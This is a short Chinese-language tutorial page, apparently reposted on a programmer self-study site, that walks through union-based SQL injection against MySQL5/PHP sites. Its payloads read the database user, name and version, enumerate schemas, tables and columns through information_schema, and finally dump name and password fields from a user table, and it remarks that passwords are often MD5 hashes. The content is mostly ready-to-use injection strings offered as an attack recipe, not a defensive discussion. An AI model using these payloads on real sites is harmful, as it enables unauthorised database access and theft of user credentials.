好得很程序员自学网

<tfoot draggable='sEl'></tfoot>

Mysql5+php注入查看MYSQL基本信息(库名,版本,用户)

and 1=2 union select 1,2,3,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),5,6,7,8/* 二.查数据库 and 1=2 union select 1,SCHEMA_NAME,3,4,5,6,7,8 from information_schema.SCHEMATA limit 1,1/*limit 从0开始递增,查询到3时浏览器返回错误,说明存在2个库。 三.暴表 and 1=2 union select 1,2,3,TABLE_NAME,5,6,7,8 from information_schema.TABLES where TABLE_SCHEMA =库的16进制编码 limit 1,1/* limit 从0开始递增,查询到14时浏览器返回错误,说明此库存在13个表。 四.暴字段 and 1=2 union select 1,2,3,COLUMN_NAME,4,5,6,7,8from information_schema.COLUMNS where TABLE_NAME=表的16进制编码 limit 1,1/* limit 从0开始递增,查询到时浏览器返回错误,说明 HdhCmsTest2cto测试数据 此表存在N-1个列。 五.暴数据 and 1=2 union select 1,2,3,name,5,password,7,8 from web.ad_user/*

这里直接暴明文的密码,大多时候我们遇到的是 MD5 加密 之后的密文。

查看更多关于Mysql5+php注入查看MYSQL基本信息(库名,版本,用户)的详细内容...

  阅读:45次